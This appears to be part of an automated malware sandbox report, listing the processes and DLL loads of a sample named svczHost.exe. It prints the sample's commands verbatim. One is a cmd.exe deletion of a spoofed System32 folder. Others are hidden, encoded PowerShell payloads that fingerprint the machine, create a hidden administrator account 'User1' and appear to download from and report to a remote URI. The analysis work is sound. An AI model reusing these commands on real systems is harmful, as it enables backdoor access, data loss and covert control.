AAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAG	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,3827613788604164973,16570324060737395036,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
